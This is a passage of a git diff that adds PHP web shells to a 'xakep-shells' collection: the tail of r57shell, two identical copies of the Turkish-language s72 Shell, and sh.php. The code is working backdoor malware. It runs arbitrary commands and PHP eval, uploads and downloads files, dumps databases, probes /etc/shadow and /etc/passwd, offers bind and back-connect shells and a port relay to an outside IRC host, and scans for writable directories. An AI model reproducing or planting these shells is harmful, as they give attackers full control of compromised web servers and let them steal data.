+ $sql1 = "# PostgreSQL dump created by r57shell\r\n";
+ $sql1 .= $sqh;
+ $sql2 = '';
+ $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl']."");
+ if (@pg_num_rows($res) > 0) {
+ while (($row = @pg_fetch_assoc($res))) {
+ $keys = @implode(", ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ @pg_close($db);
+ }
+ else echo "[-]HATA! PostgreSQL Server ile baglanti Kurulamiyor";
+ break;
+ }
+ }
+ else if(!empty($_POST['dif'])&&!$fp) { echo "[-] HATA! Dump dosyalari yazilabilir degil"; }
+ }
+echo "
";
+echo "";
+echo "
";
+echo "";
+if(!$safe_mode){
+echo $fs.$table_up1.$lang[$language.'_text2'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','cmd',85,''));
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.$table_end1.$fe;
+}
+else{
+echo $fs.$table_up1.$lang[$language.'_text28'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
+echo $te.$table_end1.$fe;
+}
+echo $fs.$table_up1.$lang[$language.'_text42'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text43'].$arrow." ",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
+echo $te.$table_end1.$fe;
+if($safe_mode){
+echo $fs.$table_up1.$lang[$language.'_text57'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text58'].$arrow." ",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".$lang[$language.'_text65']." ".$lang[$language.'_text66']." ".ws(3)."".$lang[$language.'_text59']." ".$lang[$language.'_text60']." ".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
+echo $te.$table_end1.$fe;
+}
+if($safe_mode && $unix){
+echo $fs.$table_up1.$lang[$language.'_text67'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text68'].$arrow." ","CHMOD CHOWN CHGRP ".ws(2)."".$lang[$language.'_text69'].$arrow." ".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow." ".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.$table_end1.$fe;
+}
+if(!$safe_mode){
+foreach ($aliases as $alias_name=>$alias_cmd)
+ {
+ $aliases2 .= "$alias_name ";
+ }
+echo $fs.$table_up1.$lang[$language.'_text7'].$table_up2.$ts;
+echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)." ","".$aliases2." ".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.$table_end1.$fe;
+}
+echo $fs.$table_up1.$lang[$language.'_text54'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text52'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text53'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text55'].$arrow." ",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
+echo $te.$table_end1.$fe;
+echo $fs.$table_up1.$lang[$language.'_text76'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text72'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text73'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text74'].$arrow." ",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
+echo $te.$table_end1.$fe;
+echo $fs.$table_up1.$lang[$language.'_text32'].$table_up2.$font;
+echo "";
+echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
+echo " ";
+echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
+echo "
".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
+echo "";
+echo $table_end1.$fe;
+if($safe_mode&&$curl_on)
+{
+echo $fs.$table_up1.$lang[$language.'_text33'].$table_up2.$ts;
+echo sr(15,"
".$lang[$language.'_text30'].$arrow." ",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.$table_end1.$fe;
+}
+if($safe_mode)
+{
+echo $fs.$table_up1.$lang[$language.'_text34'].$table_up2.$ts;
+echo "
";
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.$table_end1.$fe;
+}
+if($safe_mode&&$mysql_on)
+{
+echo $fs.$table_up1.$lang[$language.'_text35'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.$table_end1.$fe;
+}
+if($safe_mode&&$mssql_on)
+{
+echo $fs.$table_up1.$lang[$language.'_text85'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.$table_end1.$fe;
+}
+if(@ini_get('file_uploads')){
+echo "";
+echo $table_up1.$lang[$language.'_text5'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile',85,''));
+echo sr(15,"".$lang[$language.'_text21'].$arrow." ",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.$table_end1.$fe;
+}
+if(!$safe_mode&&!$windows){
+echo $fs.$table_up1.$lang[$language.'_text15'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text16'].$arrow." ","wget fetch lynx links curl GET ".in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow." ".in('text','rem_file',78,'http://'));
+echo sr(15,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.$table_end1.$fe;
+}
+if($mysql_on||$mssql_on||$pg_on||$ora_on)
+{
+echo $table_up1.$lang[$language.'_text82'].$table_up2.$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text77']."
";
+echo sr(45,"".$lang[$language.'_text80'].$arrow." ","MySQL MSSQL PostgreSQL ");
+echo sr(45,"".$lang[$language.'_text14'].$arrow." ",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(45,"".$lang[$language.'_text37'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(45,"".$lang[$language.'_text38'].$arrow." ",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(45,"".$lang[$language.'_text78'].$arrow." ",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1'));
+echo sr(45,"".$lang[$language.'_text79'].$arrow." ",in('checkbox','sc id=sc',0,'1'));
+echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text40']."
";
+echo sr(45,"".$lang[$language.'_text80'].$arrow." ","MySQL MSSQL PostgreSQL ");
+echo sr(45,"".$lang[$language.'_text14'].$arrow." ",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(45,"".$lang[$language.'_text37'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(45,"".$lang[$language.'_text38'].$arrow." ",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(45,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(45,"".$lang[$language.'_text39'].$arrow." ",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
+echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow." ",in('checkbox','dif id=dif',0,'1'));
+echo sr(45,"".$lang[$language.'_text59'].$arrow." ",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
+echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text83']."
";
+echo sr(45,"".$lang[$language.'_text80'].$arrow." ","MySQL MSSQL PostgreSQL Oracle ");
+echo sr(45,"".$lang[$language.'_text14'].$arrow." ",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(45,"".$lang[$language.'_text37'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(45,"".$lang[$language.'_text38'].$arrow." ",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(45,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(45,"".$lang[$language.'_text84'].$arrow." ".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
+echo $te."".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))." ".in('submit','submit',0,$lang[$language.'_butt1'])."
".$fe."
";
+}
+if(!$safe_mode&&!$windows){
+echo $table_up1.$lang[$language.'_text81'].$table_up2.$ts."
".$fs."".$ts;
+echo "".$lang[$language.'_text9']."
";
+echo sr(40,"".$lang[$language.'_text10'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text11'].$arrow." ",in('text','bind_pass',15,'r57'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text12']."
";
+echo sr(40,"".$lang[$language.'_text13'].$arrow." ",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
+echo sr(40,"".$lang[$language.'_text14'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text22']."
";
+echo sr(40,"".$lang[$language.'_text23'].$arrow." ",in('text','local_port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text24'].$arrow." ",in('text','remote_host',15,'irc.dalnet.ru'));
+echo sr(40,"".$lang[$language.'_text25'].$arrow." ",in('text','remote_port',15,'6667'));
+echo sr(40,"".$lang[$language.'_text26'].$arrow." ","datapipe.pl datapipe.c ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
+echo $te." ".$fe."
";
+}
+?>
+
diff --git a/xakep-shells/PHP/s72 Shell v1.1 Coding.html.txt b/xakep-shells/PHP/s72 Shell v1.1 Coding.html.txt
new file mode 100644
index 0000000..fdcc41a
--- /dev/null
+++ b/xakep-shells/PHP/s72 Shell v1.1 Coding.html.txt
@@ -0,0 +1,141 @@
+
+
+
+
+
+
+
+s72 Shell v1.0 Codinf by Cr@zy_King
+
+
+
+
+
+
+
+ s72 Shell v1.1 Coding by
+Cr@zy_King
+
+
+
+ [
+ Server Bilgileri ]
+
+
+
+
+
+
+
+ Dizin : echo $_SERVER['DOCUMENT_ROOT']; ?>
+
+ Shell Dizini: echo $SCRIPT_FILENAME ?>
+
+
+
+
+
+ Buraya
+Kodunuzu Yazýn :)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ [ Diziler -_- Dizinler ]
+
+
+
+
+
+
+$folder=opendir('./');
+while ($file = readdir($folder)) {
+if($file != "." && $file != "..")
+echo ''.$file.' ';
+}
+closedir($folder);
+?>
+
+
+
+ [ Upload ]
+
+
+Buradan Dosya Upload Edebilirsiniz.
+
+
+
+
+
+
+
+Dosya Zaten Bulunuyor";
+ }
+
+ else
+ {
+ copy($file,"$filename");
+ if( file_exists($filename))
+ {
+ echo "Dosya Baþarýlý Bir Þekilde Yüklendi
";
+ }
+ elseif(! file_exists($filename))
+ {
+ echo "Dosya Bulunamadý
";
+ }
+ }
+}
+?>
+
+
+
+
+
+
+
+ Güvenlik Açýk ';
+} else {
+ print 'Güvenlik Kapalý ';
+}
+
+?>
+
+
+
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/s72_shell.txt b/xakep-shells/PHP/s72_shell.txt
new file mode 100644
index 0000000..fdcc41a
--- /dev/null
+++ b/xakep-shells/PHP/s72_shell.txt
@@ -0,0 +1,141 @@
+
+
+
+
+
+
+
+s72 Shell v1.0 Codinf by Cr@zy_King
+
+
+
+
+
+
+
+ s72 Shell v1.1 Coding by
+Cr@zy_King
+
+
+
+ [
+ Server Bilgileri ]
+
+
+
+
+
+
+
+ Dizin : echo $_SERVER['DOCUMENT_ROOT']; ?>
+
+ Shell Dizini: echo $SCRIPT_FILENAME ?>
+
+
+
+
+
+ Buraya
+Kodunuzu Yazýn :)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ [ Diziler -_- Dizinler ]
+
+
+
+
+
+
+$folder=opendir('./');
+while ($file = readdir($folder)) {
+if($file != "." && $file != "..")
+echo ''.$file.' ';
+}
+closedir($folder);
+?>
+
+
+
+ [ Upload ]
+
+
+Buradan Dosya Upload Edebilirsiniz.
+
+
+
+
+
+
+
+Dosya Zaten Bulunuyor";
+ }
+
+ else
+ {
+ copy($file,"$filename");
+ if( file_exists($filename))
+ {
+ echo "Dosya Baþarýlý Bir Þekilde Yüklendi
";
+ }
+ elseif(! file_exists($filename))
+ {
+ echo "Dosya Bulunamadý
";
+ }
+ }
+}
+?>
+
+
+
+
+
+
+
+ Güvenlik Açýk ';
+} else {
+ print 'Güvenlik Kapalý ';
+}
+
+?>
+
+
+
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/sh.php.php.txt b/xakep-shells/PHP/sh.php.php.txt
new file mode 100644
index 0000000..59c377b
--- /dev/null
+++ b/xakep-shells/PHP/sh.php.php.txt
@@ -0,0 +1,644 @@
+$text");}
+function w($a){return str_repeat(" ",$a);}
+function b($b){return "$b ";}
+function e($e){switch($e){
+case 0:return('no such file');
+case 1:return('no such dirictory');
+case 2:return('permission denied');
+case 3:return('is not dirictory');
+case 4:return('is a dirictory');
+}}
+function test_file($filename){
+return(file_exists($filename)?(is_readable($filename)?false:font('red',e(2))):font('red',e(0)));}
+if(isset($_POST['downl']) && !empty($_POST['downf'])){
+if(!preg_match('/^\//',$_POST['downf'])){
+$_POST['downf']=$_POST['th'].'/'.$_POST['downf'];}
+if(!test_file($_POST['downf'])){
+if(!is_dir($_POST['downf'])){
+$fd=fopen($_POST['downf'], "rb");
+$nam=preg_replace('/.+\//','',$_POST['downf']);
+header("Content-Type: application/octet-stream; name=\"".$nam."\"");
+header("Content-Length: ".filesize($_POST['downf']));
+header("Content-disposition: attachment; filename=\"".$nam."\"");
+while(!feof($fd)){
+$buffer=fgets($fd,4096);
+echo $buffer;
+}
+fclose ($fd);
+exit;
+}
+else $error=font('red',e(4));
+}
+else $error=test_file($_POST['downf']);}
+if(isset($_POST['sql']) && !isset($_POST['exitsql'])){
+$text="
+Mysql@server:user:pass:db
+
+";
+$a=array('server','user','password','db');$i=-1;
+while($i++<3){
+$text.= " \n";}
+$text.="
+ ";
+$text="\n
+Mysql@server:user:pass:db
+ \n";
+$a=array('srv','user','pass','db');$i=-1;
+while($i++<3){
+$text.= " \n";}
+$text.=" \n";
+if(isset($_POST['sql'])){
+if(isset($_POST['user']))$user=$_POST['user'];
+if(isset($_POST['pass']))$password=$_POST['pass'];
+if(isset($_POST['srv'])){
+$server=$_POST['srv'];
+$connect=mysql_connect($server,$user,$password) or die($text." not connect");}
+else{die($text."");}
+if(!empty($_POST['db'])){mysql_select_db($_POST['db'])or die("Could not select db ");}
+function write($data){
+switch($_POST['save']){
+case 0:
+global $dump;
+$dump.=$data;
+break;
+case 1:
+global $fp;
+switch($_POST['compr']){
+case 0:
+fwrite($fp,$data);
+break;
+case 1:
+gzwrite($fp, $data);
+break;
+case 2:
+bzwrite($fp,$data);
+break;}
+break;}}
+function sqlh(){
+global $dump,$server;
+write("#\n#Server : ".getenv('SERVER_NAME')."
+#DB_Host : ".$server."
+#DB : ".$_POST['db']."
+#Table : ".$_POST['table_sel']."\n#\n\n");}
+function sql(){
+global $dump,$connect;
+$row=mysql_fetch_row(mysql_query("SHOW CREATE TABLE `".$_POST['table_sel']."`",$connect));
+write("DROP TABLE IF EXISTS `".$_POST['table_sel']."`;\n".$row[1].";\n\n");}
+function sql1(){
+global $connect;
+$result=mysql_query("SELECT * FROM `".$_POST['table_sel']."`",$connect);
+function test($aaa){
+$d=array();
+while (list($key,$val)=each($aaa)){$d[$key]=addslashes($val);}
+return($d);}
+while ($line=mysql_fetch_assoc($result)) {
+((!isset($key))?($key=implode('`, `',array_keys($line))):null);
+$ddd=test(array_values($line));
+$val=implode('\', \'',$ddd);
+write("INSERT INTO `".$_POST['table_sel']."`(`".$key."`) VALUES ('".$val."');\n");}
+mysql_free_result($result);}
+function head($tmpfname,$name){
+header("Content-Type: application/octet-stream; name=\"$name\"");
+header("Content-Length: ".filesize($tmpfname)."");
+header("Content-disposition: attachment; filename=\"$name\"");
+$fd=fopen($tmpfname, "r");
+while(!feof($fd)){
+echo fgets($fd, 4096);}
+fclose($fd);
+unlink($tmpfname);
+exit;}
+if(isset($_POST['back']) && isset($_POST['table_sel'])){
+$dump='';
+if($_POST['save']==1){
+$tmpfname=tempnam($_POST['save_p'], "FOO");
+switch($_POST['compr']){
+case 0:
+$fp=fopen($tmpfname,"w");
+break;
+case 1:
+$fp=gzopen($tmpfname, "w9");
+break;
+case 2:
+$fp=bzopen($tmpfname, "w");
+break;}}
+switch($_POST['as']){
+case 0:
+switch($_POST['as_sql']){
+case 0:
+sqlh();
+sql();
+break;
+case 1:
+sqlh();
+sql();
+sql1();
+break;
+case 2:
+sqlh();
+sql1();
+break;}
+if($_POST['save']==1){
+switch($_POST['compr']){
+case 0:
+$n='.txt';
+fclose($fp);
+break;
+case 1:
+$n='.gz';
+gzclose($fp);
+break;
+case 2:
+$n='.bz2';
+bzclose($fp);
+break;}
+head($tmpfname,$_POST['table_sel'].$n);}
+break;
+case 1:
+$res=mysql_query("SELECT * FROM `".$_POST['table_sel']."`",$connect);
+if(mysql_num_rows($res) > 0) {
+while($row = mysql_fetch_assoc($res)) {
+$values = array_values($row);
+foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+$values = implode($_POST['cvs_term'], $values);
+write($values);}}
+break;}}
+echo "$text\n";
+$db_list=mysql_list_dbs($connect);
+echo "\n";
+while($row=mysql_fetch_object($db_list)){
+$db1=$row->Database;
+echo "$db1 \n";}
+echo " \n";
+if(!empty($_POST['db'])){
+$tb_list=mysql_list_tables($_POST['db']);
+echo "";
+for($i=0;$i".mysql_tablename($tb_list, $i).'('.$n[0].")";}
+echo "
+\n";
+if(isset($_POST['table_sel'])){
+$c=array('Browse','SQL','Insert','Export');$i=-1;
+while($i++<3){echo " ".$c[$i];}}
+echo " ".((isset($_POST['table_sel']))?$_POST['table_sel']:null)." \n";}
+if(isset($_POST['push']) && isset($_POST['querysql']) && preg_match('/^\s*select /i',$_POST['querysql']))$_POST['go']=0;
+elseif(isset($_POST['push']))$_POST['go']=1;
+if(isset($_POST['back']))$_POST['go']=3;
+if(isset($_POST['brow']))$_POST['go']=0;
+if(isset($_POST['editr']) && isset($_POST['edit']))$_POST['go']=4;
+if(isset($_POST['ed_save']))$_POST['go']=5;
+if(isset($_POST['editr']) && !isset($_POST['edit']))$_POST['go']=0;
+if(isset($_POST['go'])){switch($_POST['go']){
+case 0:
+if(isset($_POST['querysql']) && preg_match('/^\s*select /i',$_POST['querysql']) && isset($_POST['push'])){
+$n=mysql_fetch_array(mysql_query(preg_replace('/^\s*select\s+.+\s+from\s+/i','select count(*) from',$_POST['querysql'])));
+$result=mysql_query($_POST['querysql'],$connect);}
+else{$n=mysql_fetch_array(mysql_query('select count(*) from '.$_POST['table_sel']));$sort='';
+if(!empty($_POST['sort']))$sort='ORDER BY `'.trim($_POST['sort']).'` ASC ';$co='0,20';
+if(isset($_POST['br_st']) && isset($_POST['br_en'])){
+$co=$_POST['br_en'].','.$_POST['br_st'];}
+$result = mysql_query("SELECT * FROM `".$_POST['table_sel']."` $sort limit $co",$connect);}
+for($i=0;$iSort by
+
+Show row(s) starting from
+ ";
+mysql_free_result($result);
+break;
+case 1:
+echo "
+\n".((!empty($_POST['querysql']))?htmlspecialchars($_POST['querysql'],ENT_QUOTES):((isset($_POST['table_sel']))?"SELECT * FROM `".$_POST['table_sel']."` WHERE 1":null))." \n";
+if(!empty($_POST['querysql'])){
+$result = mysql_query($_POST['querysql'],$connect) or print("".mysql_error($connect)."
");
+echo "".mysql_info($connect)."
";}
+break;
+case 2:
+echo " ";
+break;
+case 3:
+if(!isset($_POST['back']))echo '';
+if(isset($_POST['back']) && isset($_POST['table_sel'])){
+if($_POST['save']==0){echo "".htmlspecialchars($dump)." ";}}
+break;
+case 4:
+if(isset($_POST['edit'])){
+$up_e=$_POST['edit'];
+echo " ";
+$up_e=urldecode($_POST['edit']);
+echo " ";}
+break;
+case 5:
+$ted='';
+$_POST2=$_POST;# X.Z. zachem, xernya kakaeto :)
+while(list($key1,$val1)=each($_POST2)){
+if(preg_match('/ed_key:(.+)/',$key1,$m))
+{$ted.="`".$m[1]."`= '".addslashes($val1)."', ";}}
+$ted=substr($ted,0,-2);
+$query=((isset($_POST['insert']))?"INSERT":"UPDATE")." `".$_POST['table_sel']."` SET $ted ".((isset($_POST['insert']))?'':"WHERE ".urldecode($_POST['edit'])." LIMIT 1 ");
+echo "".htmlspecialchars($query,ENT_QUOTES)."
";
+$result = mysql_query($query,$connect) or print("".mysql_error($connect)."
");
+echo "".mysql_info($connect)."
";
+break;}}
+echo "
\n";}
+else echo $text;
+echo "";exit;}
+echo "".font('blue',@php_uname())."
".font('blue','PHP:'.@phpversion())." ".font('blue',date('H:i:s l d F Y'))." ".font('blue',getenv('SERVER_ADDR'))." ".font('blue',getenv('REMOTE_ADDR'))."
\n";
+if(!test_file('/etc/shadow'))echo font('red',b('shadow readable '));
+if(!test_file('/etc/shadow-'))echo font('red',b('shadow- readable '));
+if(!test_file('/etc/master.passwd'))echo font('red',b('master.passwd readable '));
+if(!empty($_POST['th']))@chdir($_POST['th']);
+echo ((is_writable('/tmp/'))?font('green',"TEMP USE".w(1)):font('red',"TEMP NO USE"));
+#UP
+if(isset($_POST['up']))@chdir('../');
+#CD
+if(isset($_POST['c']) && $_POST['cd']!=''){
+if(!test_file($_POST['cd'])){
+if(is_dir($_POST['cd'])){
+@chdir($_POST['cd']);
+}
+else $error=font('red',e(3));
+}
+else $error=test_file($_POST['cd']);}
+echo w(3)." ";
+echo font('blue','USER : '.get_current_user());
+if(file_exists("/"))
+echo((is_readable("/"))?w(2).font('green','DIR / - IS READ'):w(2).font('red','DIR / - IS NO READ'));
+if(file_exists("C:/"))
+echo((is_readable("C:/"))?w(2).font('green','DIR C:/ - IS READ'):w(2).font('red','DIR C:/ - IS NO READ'));
+if(ini_get('safe_mode'))echo w(2).font('red','SAFE MODE');
+echo " ";
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+';
+foreach($ar_file as $ar_l){
+if(!test_file($ar_l))echo "$ar_l \n";}
+echo ' ';
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+\n";
+for($ach=7;$ach>=0;$ach--){echo"$ach ";}
+echo"";}
+?>
+
+
+
+
+Only dir Only writeable: ');}
+if(isset($_POST['fww']) && !empty($_POST['fpath'])){
+echo b('Start path: Only dir Only writeable: ');
+$arrfw=array($_POST['fpath']);
+$ife=0;
+while(++$ife<=count($arrfw)){
+$pathfw=$arrfw[$ife-1];
+if(is_readable($pathfw)){
+if($hfw=opendir($pathfw)){
+while(false!==($ffw=readdir($hfw))){
+$ffw=$pathfw.$ffw;
+if(!preg_match('/\/\.+$/',$ffw)){
+if(is_dir($ffw)){array_push($arrfw,$ffw.'/');}
+print(is_dir($ffw)?(is_writeable($ffw)?font('red',"$ffw/ ",3) :(isset($_POST['onw'])?null:"$ffw/ ")):(!isset($_POST['dy'])?(is_writeable($ffw)?font('green',"$ffw ",3):(isset($_POST['onw'])?null:"$ffw ")):null));}}
+closedir($hfw);}}}}
+
+
+if(isset($_POST['eval'])){
+echo " \n";
+
+
+
+
+
+echo "";
+}
+############################################################################
+#RENAME
+if(isset($_POST['rename']) && $_POST['renold']<>'' && $_POST['rennew']<>''){
+if(file_exists($_POST['renold'])){
+@rename($_POST['renold'],$_POST['rennew']);
+}
+else $error=font('red',e(0));
+}
+#
+
+#RMDIR
+if(isset($_POST['rmd']) && isset($_POST['rmdir'])){
+if(file_exists($_POST['rmdir'])){
+if(is_dir($_POST['rmdir'])){
+if(@rmdir($_POST['rmdir'])) echo font('green',"dir ".b($_POST['rmdir'])." delet");
+else $error=font('red','dir not deleted');
+}
+else $error=font('red',e(3));
+}
+else $error=font('red',e(0));
+}
+#
+#CHMOD
+if(isset($_POST['ch_chmod']) && isset($_POST['ch_mod'])){
+if(file_exists($_POST['ch_mod'])){
+@chmod($_POST['ch_mod'],octdec($_POST['ch_p1'].$_POST['ch_p2'].$_POST['ch_p3']));}
+else $error=font('red',e(0));}
+#
+#DELETE
+if(isset($_POST['del']) && $_POST['rm']!=''){
+if(file_exists($_POST['rm'])){
+if(!is_dir($_POST['rm'])){
+@unlink($_POST['rm']);
+}
+else echo " ".font('red',e(4)." ");
+}
+else echo " ".font('red',e(0)." ");
+}
+#
+#EXEC
+if(!empty($_POST['exe'])){
+if(@exec($_POST['exec'],$ar)){
+echo "";
+foreach($ar as $line){
+echo $line."\n";
+}
+echo " ";}}
+#
+#OPEN FILE
+if(isset($_POST['op']) && $_POST['open']!=''){
+if(!test_file($_POST['open'])){
+if(!is_dir($_POST['open'])){
+$fil=file($_POST['open']);
+echo "";
+foreach($fil as $vv){
+echo htmlspecialchars($vv);
+}
